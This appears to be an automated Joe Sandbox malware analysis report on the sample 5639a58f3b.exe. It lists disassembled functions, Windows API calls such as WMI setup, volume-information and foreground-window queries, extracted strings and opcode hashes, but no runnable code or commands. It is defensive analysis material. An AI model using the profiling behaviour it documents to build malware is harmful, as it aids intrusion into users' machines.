Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 788d5ed5c1e26de51698589751bb2fcdd41e1268489310ce5f4e06c4498a6b5f
Instruction ID: 08ac7e8ec3773e2c6ee5f6d89f2152b3acb13907e51e46af6727a18f8872dd31
Opcode Fuzzy Hash: 788d5ed5c1e26de51698589751bb2fcdd41e1268489310ce5f4e06c4498a6b5f
Instruction Fuzzy Hash: 951126F6506265BFAF1567B5AC8EC7F7E5CDEC63943140924F401D1201FAA8DE1096B0

Function 00D9457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D94582
std::_Lockit::_Lockit.LIBCPMT ref: 00D9458C

Part of subcall function 00D924C2: std::_Lockit::_Lockit.LIBCPMT ref: 00D924DE
Part of subcall function 00D924C2: std::_Lockit::~_Lockit.LIBCPMT ref: 00D924F7

codecvt.LIBCPMT ref: 00D945C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00D945FD

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 0a1a8ffdeaa6a8d32354e845e554e5c9e6ea8f597429c1ede87ad10694a93fe2
Instruction ID: e9a201987d440737410b2034793656abf6aff9bf68c36d3bd053b0c6720eef60
Opcode Fuzzy Hash: 0a1a8ffdeaa6a8d32354e845e554e5c9e6ea8f597429c1ede87ad10694a93fe2
Instruction Fuzzy Hash: AC01C076900215EBCF05EBA4D816ABD7771FF54310F250649E411AB392CF74DE0287B1

Function 00DAA4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000), ref: 00DAA4F7
GetLastError.KERNEL32(?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000,?,?,?,00DA5365,00000000), ref: 00DAA503

Part of subcall function 00DAA554: CloseHandle.KERNEL32(FFFFFFFE,00DAA513,?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000,?,?), ref: 00DAA564

___initconout.LIBCMT ref: 00DAA513

Part of subcall function 00DAA535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DAA4D1,00DA9AFC,?,?,00DA5A1F,?,00000000,00000000,?), ref: 00DAA548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000,?), ref: 00DAA528

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4d7e874283c6cb95504f8bf581d25cdc5bdada817fc289e0122a5855aae9175c
Instruction ID: add9ab68d8668fab1e3e94fca5245432b0b84d2ac2d725a73ec4eac4c7c0f831
Opcode Fuzzy Hash: 4d7e874283c6cb95504f8bf581d25cdc5bdada817fc289e0122a5855aae9175c
Instruction Fuzzy Hash: FBF01C36410215FFCF221F99EC0899A3F66FB893A0B044610FA09D5220D736C920EBB5

Function 00D959A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D959B9
GetCurrentThreadId.KERNEL32 ref: 00D959C8
GetCurrentProcessId.KERNEL32 ref: 00D959D1
QueryPerformanceCounter.KERNEL32(?), ref: 00D959DE

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 4a9b54fca138cafb6b6d8c9d38896437e5ff24efe60468286345231e53ce9bab
Instruction ID: 3fd048d42cf9ee68bdd65980b4d8e58cfd0c0168de7e04e0b3f084327d96ac03
Opcode Fuzzy Hash: 4a9b54fca138cafb6b6d8c9d38896437e5ff24efe60468286345231e53ce9bab
Instruction Fuzzy Hash: 67F05F74D1120DEBCF00DBB5D94999EBBF4FF1C204BA14696A412E7210E670AB449F60

Function 00DA2117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00D99266,?,?,?,00000055,?,-00000050,?,?,?), ref: 00DA21D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00D99266,?,?,?,00000055,?,-00000050,?,?), ref: 00DA220D

Strings

utf8, xrefs: 00DA22DF

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: e193e41e2489775307f43a87395b7cd3fca473ebc8a7e00e15412f560fca1d1e
Instruction ID: ae5c7949594f4b5f91830840888e88716b847d0af1bf09dae64c2a1ed74c6bd6
Opcode Fuzzy Hash: e193e41e2489775307f43a87395b7cd3fca473ebc8a7e00e15412f560fca1d1e
Instruction Fuzzy Hash: 4051E671644301EADF25AB7E8C82BB773A8EF47700F180429FA45DB581FA74E9408675

Function 00D9DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00D9DEAD,?,?,00000000,00000000,00000000,?), ref: 00D9DFD1

Strings

RCC, xrefs: 00D9DFEB
MOC, xrefs: 00D9DFE3

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f6ee3d78a1637faf90d6eea1adf571552f88f8e76d93e165afb9615b2020703c
Instruction ID: 22e8dbb331995a9d2da1c6b2ab6a9d8e557ac5470c7d096f90a95562f24a1754
Opcode Fuzzy Hash: f6ee3d78a1637faf90d6eea1adf571552f88f8e76d93e165afb9615b2020703c
Instruction Fuzzy Hash: FF415971900209AFCF26DF98DC81AEEBBB5FF48304F188169FA08A7255D3759990DB60

Function 00D9D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00D9DA8F

Strings

csm, xrefs: 00D9DAB1
csm, xrefs: 00D9DB22

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 102419de9211abfb084bc55a2ca7d810a826553bdee12a52da6912b64ccd897f
Instruction ID: 878f8de9f1826f3df382ec91e20c660a05cfaff18b1a30096e379777f80fadfd
Opcode Fuzzy Hash: 102419de9211abfb084bc55a2ca7d810a826553bdee12a52da6912b64ccd897f
Instruction Fuzzy Hash: 1331C136504218EBCF229F94CC409AA7B77FF09369F2D425AF8544A221C332DCA1DBB1

Function 00D929D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00DB648C,ios_base::badbit set,?,?,00D91C84,00DB6478,00D91B17), ref: 00D929DF
ReleaseSRWLockExclusive.KERNEL32(00DB648C,?,?,00D91C84,00DB6478,00D91B17), ref: 00D92A19

Strings

ios_base::badbit set, xrefs: 00D929D8

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: a5862076fc80e25f9d75d48df8f1c01409170cc107e4bed4779628d8748a3d8d
Instruction ID: 46873b7ec34e5f07ac608a7d075049dcf663c17c6794b1f2c3ddbe76d0868410
Opcode Fuzzy Hash: a5862076fc80e25f9d75d48df8f1c01409170cc107e4bed4779628d8748a3d8d
Instruction Fuzzy Hash: 90F08231600600EFCB249F18D844A757B68FB45734F14032EE896833E0C7355842DE71

Analysis Process: 5639a58f3b.exePID: 340, Parent PID: 6596COMMON

Executed Functions

Function 004361F0 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 598
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C,00000000), ref: 00436437
SysAllocString.OLEAUT32(B17FCF7C), ref: 0043649B
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004364D9
SysAllocString.OLEAUT32(0C5A0A5E), ref: 00436523
SysAllocString.OLEAUT32(793D77C5), ref: 004365C0
VariantInit.OLEAUT32(6A69688F), ref: 0043662B
VariantClear.OLEAUT32(?), ref: 00436794
SysFreeString.OLEAUT32(?), ref: 004367BC
SysFreeString.OLEAUT32(?), ref: 004367C2
SysFreeString.OLEAUT32(00000000), ref: 004367CF
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00436804

Strings

FG, xrefs: 0043658D
&', xrefs: 00436668
>E, xrefs: 0043632B
#o0Q, xrefs: 0043655D
6{9}, xrefs: 00436535

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: #o0Q$&'$6{9}$>E$FG
API String ID: 2573436264-1634104506
Opcode ID: f01a8ddf4710e9705acc0b1b56aec6f4ed511a30c5a5642ef0e2196324fd1cd6
Instruction ID: df2caf0f2d8f2ccef290ab0009703dfb3a747cc61b8384cf49a70b4a3c164c84
Opcode Fuzzy Hash: f01a8ddf4710e9705acc0b1b56aec6f4ed511a30c5a5642ef0e2196324fd1cd6
Instruction Fuzzy Hash: CC12FC76608301ABD310DF65C884B5BBBE6EFC9318F25882DF5848B391D778D846CB96

Function 00416124 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 495
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`eww, xrefs: 00418E64
( ,, xrefs: 00418BFC
[gir, xrefs: 00418E4F
:0:?, xrefs: 00418BF5
bn|v, xrefs: 00418E5D
fmUn, xrefs: 00418E56
K~sn, xrefs: 00418E6B

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: :0:?$K~sn$[gir$`eww$bn|v$fmUn$( ,
API String ID: 0-1256593453
Opcode ID: 376bdfca88857d1bd80670864ed21a38245e08f4fcbc54b8dc3d20d7cdc54506
Instruction ID: 01ee550ed819a452130d430e0a658c01ac3f2692edea05ace0f2ebf761c40517
Opcode Fuzzy Hash: 376bdfca88857d1bd80670864ed21a38245e08f4fcbc54b8dc3d20d7cdc54506
Instruction Fuzzy Hash: 1CF125B56007418FD724CF24C891663BBF1FF5A304F188A6ED4968B792EB38E841CB58

Function 004087D0 Relevance: 7.7, APIs: 5, Instructions: 185
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040889C
GetCurrentThreadId.KERNEL32 ref: 004088A5
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408999
GetForegroundWindow.USER32 ref: 004089C0

Part of subcall function 0040C9E0: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C9F3

Part of subcall function 0040B9E0: FreeLibrary.KERNEL32(00408A1C), ref: 0040B9E6
Part of subcall function 0040B9E0: FreeLibrary.KERNEL32 ref: 0040BA07

ExitProcess.KERNEL32 ref: 00408A35

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 1f46c23841fd0bc96f87fedc87c99cacfa356c786bec9e71097507aa074865a8
Instruction ID: f05c4ebcf40ce7b261a965fd212a9ea12e07fe9b2236fbe8c0b4e82e4c49085a
Opcode Fuzzy Hash: 1f46c23841fd0bc96f87fedc87c99cacfa356c786bec9e71097507aa074865a8
Instruction Fuzzy Hash: D35159B3F003140BD718AE799D9635676979BC4314F0E823E6994EB3E5FD7C8C168284

Function 0043A920 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0043DA7B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043A94E

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043A7E9 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9634cda44d1f171db851eb71e7267d491757f81cd3146199af540818ef70563
Instruction ID: e90d3f3fe0c413f848e70014e1496ec70582230fcca7aa3453c7d5b1019d311c
Opcode Fuzzy Hash: b9634cda44d1f171db851eb71e7267d491757f81cd3146199af540818ef70563
Instruction Fuzzy Hash: 2031317028C3419BD704EF288C11A1BB7B2EFC9304F64C92CE0A55B766CB79C10ACB4A

Function 0040D2EA Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e1a64205fe307360d56abfe881a300bfcd62e021c7025f4c3f6c30330290921
Instruction ID: af79d7d12f64ee9bd2ad253b6656d60a30a230a1b7f6c3fb9544c34c20605b82
Opcode Fuzzy Hash: 8e1a64205fe307360d56abfe881a300bfcd62e021c7025f4c3f6c30330290921
Instruction Fuzzy Hash: 6621AC705183819FE728CF28C850BAFB7E1FB86304F14892DE48EA7291D7785849CB5B

Function 0043A742 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 968aff7786998a17d1bb58fe0fa8392212d74bc3bff32f55d0af784c501e8337
Instruction ID: b673a51aa90044103ac93cc8b767b384712972b14727f05c86367817ff4802e4
Opcode Fuzzy Hash: 968aff7786998a17d1bb58fe0fa8392212d74bc3bff32f55d0af784c501e8337
Instruction Fuzzy Hash: 7701DE7464C3418BD744DF288C51A1BB7B2EFC6308F55CA2CE0A56B766CB75D10ACB4A

Function 00434C7C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00434CC5

Strings

EY^_, xrefs: 00434CF9

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: EY^_
API String ID: 95929093-823090835
Opcode ID: b76cbd1fba661034c6466c15b78dc8b917ed0142ffd14d889937db8a52926065
Instruction ID: e10ab3c99f7f8d5ce9be94f7c35abd0534f001e00319619e606950232d4e62aa
Opcode Fuzzy Hash: b76cbd1fba661034c6466c15b78dc8b917ed0142ffd14d889937db8a52926065
Instruction Fuzzy Hash: 7031F772E066608BDB24CB388D547D9BBF26F99310F1A42EEC49DA7382C6785E408F05

Function 0043AB24 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043AB24
GetForegroundWindow.USER32 ref: 0043AB40

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 9893edea59b7e0fad5d6d91302da895a5db43a1e14b24a3f0c3d14b51b3644ae
Instruction ID: 4e6f42bc6e9ec1ce3cdc45c9cef6da730f5af56c043af0f6ab6a0960455678fb
Opcode Fuzzy Hash: 9893edea59b7e0fad5d6d91302da895a5db43a1e14b24a3f0c3d14b51b3644ae
Instruction Fuzzy Hash: AFD0C2F98201028BCB04E760EC8A54B336CAF4630EB05A53AE44642222E630E0198B9A

Function 0040C9E0 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C9F3

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ecca21c120f2f82af5a9cad114ad32730c5a60672c201f3a9ef6adc200df7984
Instruction ID: 63aa8f0bc88f994a071c9f73c7a3e08608f8f997c92f1d08c8efec782cddfa46
Opcode Fuzzy Hash: ecca21c120f2f82af5a9cad114ad32730c5a60672c201f3a9ef6adc200df7984
Instruction Fuzzy Hash: 5BE0C276B6454457E2046B68DD0BF45362BC3863A0F488235B250CA6D4D968B800C199

Function 0040CA1E Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CA30

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: bbd585b431aa263293fae164f7e9035c6ab6c78baff5ccd54bccc5b46d820388
Instruction ID: 474a69cfb0ba6151aa04b8b3bd1b9595c5e929bae7f852010499b0bfe04890d8
Opcode Fuzzy Hash: bbd585b431aa263293fae164f7e9035c6ab6c78baff5ccd54bccc5b46d820388
Instruction Fuzzy Hash: 52D0C9343C43817AF5648F18AC17F103355A742F11FB10624B362FE2D0C9E0B1119A1C

Function 00438E80 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004129EE), ref: 00438EA0

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d5cc84de357097e94fdb21de813d0ee61070cb00c212c5f5426df591f987b0ff
Instruction ID: c589224f3f2eb4c5d691815d08215f60b763c00d8e9891d85a343a2b72f614b8
Opcode Fuzzy Hash: d5cc84de357097e94fdb21de813d0ee61070cb00c212c5f5426df591f987b0ff
Instruction Fuzzy Hash: 4FD0C932409232EBC6102F18BC05BCB3B64AF4A761F0748A1B900BA0A5C665EC918AD8

Function 00438E60 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00000000,?,0043A8FE,00000000,?,00000000,0040B884,00000000,00000001), ref: 00438E70

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ae9bab136ce258492607cd5366836328feb510ad2efbb1661fc331a96d9036c6
Instruction ID: af66c84214ae472e22add953b67e4ae8b3737a3f52b8191d30aaacddce4c7340
Opcode Fuzzy Hash: ae9bab136ce258492607cd5366836328feb510ad2efbb1661fc331a96d9036c6
Instruction Fuzzy Hash: B5C09B31045220EBC6542B55FC05FCA3F64EF45765F011055F504770B1C760AC91CBD8

Non-executed Functions

Function 004235A0 Relevance: 31.0, Strings: 24, Instructions: 1017COMMON

Download Yara Rule

Strings

M~Op, xrefs: 00424256
8X, xrefs: 00423DD0
7g9i, xrefs: 0042409A
3c7e, xrefs: 0042408F
*G'I, xrefs: 00424042
j;@=, xrefs: 00423FC9
?W4Y, xrefs: 00424016
o2g4, xrefs: 004238B8
=S2U, xrefs: 0042400B
z{, xrefs: 004236CF
%K'M, xrefs: 0042404D
st, xrefs: 00423803
^P, xrefs: 004239B5
!s#u, xrefs: 00424063
IzK|, xrefs: 004242D6
